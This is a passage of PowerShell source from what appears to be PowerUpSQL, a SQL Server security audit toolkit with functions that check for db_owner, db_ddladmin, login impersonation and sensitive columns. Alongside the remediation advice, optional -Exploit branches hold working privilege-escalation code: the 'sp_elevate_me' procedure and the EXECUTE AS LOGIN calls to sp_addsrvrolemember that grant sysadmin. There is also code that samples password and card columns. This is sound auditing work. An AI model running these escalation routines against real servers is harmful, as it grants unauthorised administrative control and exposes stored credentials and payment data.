CONNECTION FAILED" Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: DATABASE ROLE - DB_OWNER" Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS" } # Grab server, login, and role information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $ComputerName = $ServerInfo.ComputerName $CurrentLogin = $ServerInfo.CurrentLogin $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin -SuppressVerbose $CurrentPrincpalList = @() $CurrentPrincpalList += $CurrentLogin $CurrentPrincpalList += 'Public' $CurrentLoginRoles | ForEach-Object -Process { $CurrentPrincpalList += $_.RolePrincipalName } # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'DATABASE ROLE - DB_OWNER' $Description = 'The login has the DB_OWER role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted and owned by a sysadmin.' $Remediation = "If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember 'DB_OWNER', 'MyDbUser', and can be removed with a command like: EXEC sp_droprolemember 'DB_OWNER', 'MyDbUser'" $Severity = 'Medium' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' if($Username) { $ExploitCmd = "Invoke-SQLAuditRoleDbOwner -Instance $Instance -Username $Username -Password $Password -Exploit" } else { $ExploitCmd = "Invoke-SQLAuditRoleDbOwner -Instance $Instance -Exploit" } $Details = '' $Dependancies = 'Affected databases must be owned by a sysadmin and be trusted.' $Reference = 'https://msdn.microsoft.com/en-us/library/ms189121.aspx,https://msdn.microsoft.com/en-us/library/ms187861.aspx' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Iterate through each current login and their associated roles $CurrentPrincpalList| ForEach-Object -Process { # Check if login or role has the DB_OWNER roles in any databases $DBOWNER = Get-SQLDatabaseRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -RolePrincipalName DB_OWNER -PrincipalName $_ -SuppressVerbose # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- # Check for db ownerships if($DBOWNER) { # Add an entry for each database where the user has the db_owner role $DBOWNER| ForEach-Object -Process { $DatabaseTarget = $_.DatabaseName $PrincipalTarget = $_.PrincipalName Write-Verbose -Message "$Instance : - $PrincipalTarget has the DB_OWNER role in the $DatabaseTarget database." $IsVulnerable = 'Yes' # Check if associated database is trusted and the owner is a sysadmin $Depends = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseTarget -SuppressVerbose | Where-Object -FilterScript { $_.is_trustworthy_on -eq 1 -and $_.OwnerIsSysadmin -eq 1 } if($Depends) { $IsExploitable = 'Yes' Write-Verbose -Message "$Instance : - The $DatabaseTarget database is set as trustworthy and is owned by a sysadmin. This is exploitable." # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- if($Exploit) { # Check if user is already a sysadmin $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status if($SysadminPreCheck -eq 0) { # Status user Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin." Write-Verbose -Message "$Instance : - EXPLOITING: Attempting to add the current user ($CurrentLogin) to the sysadmin role by using DB_OWNER permissions..." $SpQuery = "CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS begin EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin' end;" # Add sp_elevate_me stored procedure $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "$SpQuery" -SuppressVerbose -Database $DatabaseTarget # Run sp_elevate_me stored procedure $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query 'sp_elevate_me' -SuppressVerbose -Database $DatabaseTarget # Remove sp_elevate_me stored procedure $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query 'DROP PROC sp_elevate_me' -SuppressVerbose -Database $DatabaseTarget # Verify the login was added successfully $SysadminPostCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status if($SysadminPostCheck -eq 1) { Write-Verbose -Message "$Instance : - EXPLOITING: It was possible to make the current user ($CurrentLogin) a sysadmin!" $Exploited = 'Yes' } else { } } else { Write-Verbose -Message "$Instance : - EXPLOITING: It was not possible to make the current user ($CurrentLogin) a sysadmin." } #Add record $Details = "$PrincipalTarget has the DB_OWNER role in the $DatabaseTarget database." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } else { #Add record $Details = "$PrincipalTarget has the DB_OWNER role in the $DatabaseTarget database." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } else { #Add record Write-Verbose -Message "$Instance : - The $DatabaseTarget is not exploitable." $Details = "$PrincipalTarget has the DB_OWNER role in the $DatabaseTarget database, but this was not exploitable." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } } } # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: DATABASE ROLE - DB_OWNER" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Invoke-SQLAuditRoleDbDdlAdmin # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditRoleDbDdlAdmin { <# .SYNOPSIS Check if the current user has the db_ddladmin role in any databases. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER Exploit Exploit vulnerable issues. .EXAMPLE PS C:\> Invoke-SQLAuditRoleDbDdlAdmin -Instance SQLServer1\STANDARDDEV2014 -username myuser -password mypassword ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : DATABASE ROLE - DB_DDLADMIN Description : The login has the DB_DDLADMIN role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted and owned by a sysadmin, or if a custom assembly can be loaded. Remediation : If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember 'DB_DDLADMIN', 'MyDbUser', and can be removed with a command like: EXEC sp_droprolemember 'DB_DDLADMIN', 'MyDbUser' Severity : Medium IsVulnerable : Yes IsExploitable : No Exploited : No ExploitCmd : No exploit command is available at this time, but a custom assesmbly could be used. Details : myuser has the DB_DDLADMIN role in the testdb database. Reference : https://technet.microsoft.com/en-us/library/ms189612(v=sql.105).aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditRoleDbDdlAdmin -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: DATABASE ROLE - DB_DDLAMDIN" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED" Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: DATABASE ROLE - DB_DDLADMIN" Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS" } # Grab server, login, and role information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $ComputerName = $ServerInfo.ComputerName $CurrentLogin = $ServerInfo.CurrentLogin $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin -SuppressVerbose $CurrentPrincpalList = @() $CurrentPrincpalList += $CurrentLogin $CurrentPrincpalList += 'Public' $CurrentLoginRoles | ForEach-Object -Process { $CurrentPrincpalList += $_.RolePrincipalName } # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'DATABASE ROLE - DB_DDLADMIN' $Description = 'The login has the DB_DDLADMIN role in one or more databases. This may allow the login to escalate privileges to sysadmin if the affected databases are trusted and owned by a sysadmin, or if a custom assembly can be loaded.' $Remediation = "If the permission is not required remove it. Permissions are granted with a command like: EXEC sp_addrolemember 'DB_DDLADMIN', 'MyDbUser', and can be removed with a command like: EXEC sp_droprolemember 'DB_DDLADMIN', 'MyDbUser'" $Severity = 'Medium' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = 'No exploit command is available at this time, but a custom assesmbly could be used.' $Details = '' $Dependancies = 'Affected databases must be owned by a sysadmin and be trusted. Or it must be possible to load a custom assembly configured for external access.' $Reference = 'https://technet.microsoft.com/en-us/library/ms189612(v=sql.105).aspx' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Iterate through each current login and their associated roles $CurrentPrincpalList| ForEach-Object -Process { # Check if login or role has the DB_DDLADMIN roles in any databases $DBDDLADMIN = Get-SQLDatabaseRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -RolePrincipalName DB_DDLADMIN -PrincipalName $_ -SuppressVerbose # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- # Check for db ownerships if($DBDDLADMIN) { # Add an entry for each database where the user has the DB_DDLADMIN role $DBDDLADMIN| ForEach-Object -Process { $DatabaseTarget = $_.DatabaseName $PrincipalTarget = $_.PrincipalName Write-Verbose -Message "$Instance : - $PrincipalTarget has the DB_DDLADMIN role in the $DatabaseTarget database." $IsVulnerable = 'Yes' # Check if associated database is trusted and the owner is a sysadmin $Depends = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseTarget -SuppressVerbose | Where-Object -FilterScript { $_.is_trustworthy_on -eq 1 -and $_.OwnerIsSysadmin -eq 1 } if($Depends) { $IsExploitable = 'No' Write-Verbose -Message "$Instance : - The $DatabaseTarget database is set as trustworthy and is owned by a sysadmin. This is exploitable." # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- if($Exploit) { # Check if user is already a sysadmin $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status if($SysadminPreCheck -eq 0) { # Status user Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin." Write-Verbose -Message "$Instance : - EXPLOITING: Attempting to add the current user ($CurrentLogin) to the sysadmin role by using DB_OWNER permissions..." # Attempt to add the current login to sysadmins fixed server role $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin';Revert" -SuppressVerbose # Verify the login was added successfully $SysadminPostCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status if($SysadminPostCheck -eq 1) { Write-Verbose -Message "$Instance : - EXPLOITING: It was possible to make the current user ($CurrentLogin) a sysadmin!" $Exploited = 'Yes' } else { } } else { Write-Verbose -Message "$Instance : - EXPLOITING: It was not possible to make the current user ($CurrentLogin) a sysadmin." } #Add record $Details = "$PrincipalTarget has the DB_DDLADMIN role in the $DatabaseTarget database." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } else { #Add record $Details = "$PrincipalTarget has the DB_DDLADMIN role in the $DatabaseTarget database." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } else { #Add record Write-Verbose -Message "$Instance : - The $DatabaseTarget is not exploitable." $Details = "$PrincipalTarget has the DB_DDLADMIN role in the $DatabaseTarget database, but this was not exploitable." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } } } # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: DATABASE ROLE - DB_DDLADMIN" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # ----------------------------------- # Invoke-SQLAuditPrivImpersonateLogin # ----------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditPrivImpersonateLogin { <# .SYNOPSIS Check if the current login has the IMPERSONATE permission on any sysadmin logins. Attempt to use permission to obtain sysadmin privileges. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER NoOutput Don't output anything. .PARAMETER Exploit Exploit vulnerable issues .EXAMPLE PS C:\> Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123! ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : PERMISSION - IMPERSONATE LOGIN Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges. Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user] Severity : High IsVulnerable : Yes IsExploitable : Yes Exploited : No ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit Details : public can impersonate the sa SYSADMIN login. This test was ran with the evil login. Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123! -Exploit ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : PERMISSION - IMPERSONATE LOGIN Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges. Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user] Severity : High IsVulnerable : Yes IsExploitable : Yes Exploited : Yes ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit Details : public can impersonate the sa SYSADMIN login. This test was ran with the evil login. Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Status user Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN" Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $CurrentLogin = $ServerInfo.CurrentLogin # --------------------------------------------------------------- # Set function meta data for report output # --------------------------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Excessive Privilege - Impersonate Login' $Description = 'The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.' $Remediation = 'Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]' $Severity = 'High' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = "Invoke-SQLAuditPrivImpersonateLogin -Instance $Instance -Exploit" $Details = '' $Reference = 'https://msdn.microsoft.com/en-us/library/ms181362.aspx' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # --------------------------------------------------------------- # Check for Vulnerability # --------------------------------------------------------------- # Get list of SQL Server logins that can be impersonated by the current login $ImpersonationList = Get-SQLServerPriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.PermissionName -like 'IMPERSONATE' } # Check if any SQL Server logins can be impersonated if($ImpersonationList) { # Status user Write-Verbose -Message "$Instance : - Logins can be impersonated." $IsVulnerable = 'Yes' # --------------------------------------------------------------- # Check if Vulnerability is Exploitable # --------------------------------------------------------------- # Iterate through each affected login and check if they are a sysadmin $ImpersonationList | ForEach-Object -Process { # Grab grantee and impersonable login $ImpersonatedLogin = $_.ObjectName $GranteeName = $_.GranteeName # Check if impersonable login is a sysadmin $ImpLoginSysadminStatus = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$ImpersonatedLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status If($ImpLoginSysadminStatus -eq 1) { #Status user Write-Verbose -Message "$Instance : - $GranteeName can impersonate the $ImpersonatedLogin sysadmin login." $IsExploitable = 'Yes' $Details = "$GranteeName can impersonate the $ImpersonatedLogin SYSADMIN login. This test was ran with the $CurrentLogin login." # --------------------------------------------------------------- # Exploit Vulnerability # --------------------------------------------------------------- if($Exploit) { # Status user Write-Verbose -Message "$Instance : - EXPLOITING: Starting exploit process..." # Check if user is already a sysadmin $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status if($SysadminPreCheck -eq 0) { # Status user Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin." Write-Verbose -Message "$Instance : - EXPLOITING: Attempting to add the current user ($CurrentLogin) to the sysadmin role by impersonating $ImpersonatedLogin..." # Attempt to add the current login to sysadmins fixed server role $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "EXECUTE AS LOGIN = '$ImpersonatedLogin';EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin';Revert" -SuppressVerbose # Verify the login was added successfully $SysadminPostCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status if($SysadminPostCheck -eq 1) { Write-Verbose -Message "$Instance : - EXPLOITING: It was possible to make the current user ($CurrentLogin) a sysadmin!" $Exploited = 'Yes' } else { Write-Verbose -Message "$Instance : - EXPLOITING: It was not possible to make the current user ($CurrentLogin) a sysadmin." } } else { # Status user Write-Verbose -Message "$Instance : - EXPLOITING: The current login ($CurrentLogin) is already a sysadmin. No privilege escalation needed." $Exploited = 'No' } } } else { # Status user Write-Verbose -Message "$Instance : - $GranteeName can impersonate the $ImpersonatedLogin login (not a sysadmin)." $Details = "$GranteeName can impersonate the $ImpersonatedLogin login (not a sysadmin). This test was ran with the $CurrentLogin login." $IsExploitable = 'No' } # Add record $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } else { # Status user Write-Verbose -Message "$Instance : - No logins could be impersonated." } # Status user Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Invoke-SQLAuditSampleDataByColumn # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditSampleDataByColumn { <# .SYNOPSIS Check if the current login can access any database columns that contain the word password. Supports column name keyword search and custom data sample size. Note: For cleaner data sample output use the Get-SQLColumnSampleData function. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER NoOutput Don't output anything. .PARAMETER Exploit Exploit vulnerable issues .PARAMETER SampleSize Number of records to sample. .PARAMETER Keyword Column name to search for. .PARAMETER Exploit Exploit vulnerable issues. .EXAMPLE PS C:\> Invoke-SQLAuditSampleDataByColumn -Instance SQLServer1\STANDARDDEV2014 -Keyword card -SampleSize 2 -Exploit ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : Potentially Sensitive Columns Found Description : Columns were found in non default databases that may contain sensitive information. Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted. Severity : Informational IsVulnerable : Yes IsExploitable : Yes Exploited : Yes ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance SQLServer1\STANDARDDEV2014 -Exploit Details : Data sample from [testdb].[dbo].[tracking].[card] : "4111111111111111" "4111111111111112". Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit, [Parameter(Mandatory = $false, HelpMessage = 'Number of records to sample.')] [int]$SampleSize = 1, [Parameter(Mandatory = $false, HelpMessage = ' Column name to search for.')] [string]$Keyword = 'Password' ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: SEARCH DATA BY COLUMN" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED" Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: SEARCH DATA BY COLUMN" Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS" } # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Potentially Sensitive Columns Found' $Description = 'Columns were found in non default databases that may contain sensitive information.' $Remediation = 'Ensure that all passwords and senstive data are masked, hashed, or encrypted.' $Severity = 'Informational' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = "Invoke-SQLAuditSampleDataByColumn -Instance $Instance -Exploit" $Details = '' $Reference = 'https://msdn.microsoft.com/en-us/library/ms188348.aspx' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- Write-Verbose -Message "$Instance : - Searching for column names that match criteria..." $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -ColumnNameSearch $Keyword -NoDefaults -SuppressVerbose if($Columns) { $IsVulnerable = 'Yes' } else { $IsVulnerable = 'No' } # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- if($IsVulnerable -eq 'Yes') { # List affected columns $Columns| ForEach-Object -Process { $DatabaseName = $_.DatabaseName $SchemaName = $_.SchemaName $TableName = $_.TableName $ColumnName = $_.ColumnName $AffectedColumn = "[$DatabaseName].[$SchemaName].[$TableName].[$ColumnName]" $AffectedTable = "[$DatabaseName].[$SchemaName].[$TableName]" $Query = "USE $DatabaseName; SELECT TOP $SampleSize [$ColumnName] FROM $AffectedTable " Write-Verbose -Message "$Instance : - Column match: $AffectedColumn" # ------------------------------------------------------------------ # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role, get data # ------------------------------------------------------------------ if($IsVulnerable -eq 'Yes') { $TblTargetColumns | ForEach-Object -Process { # Add sample data Write-Verbose -Message 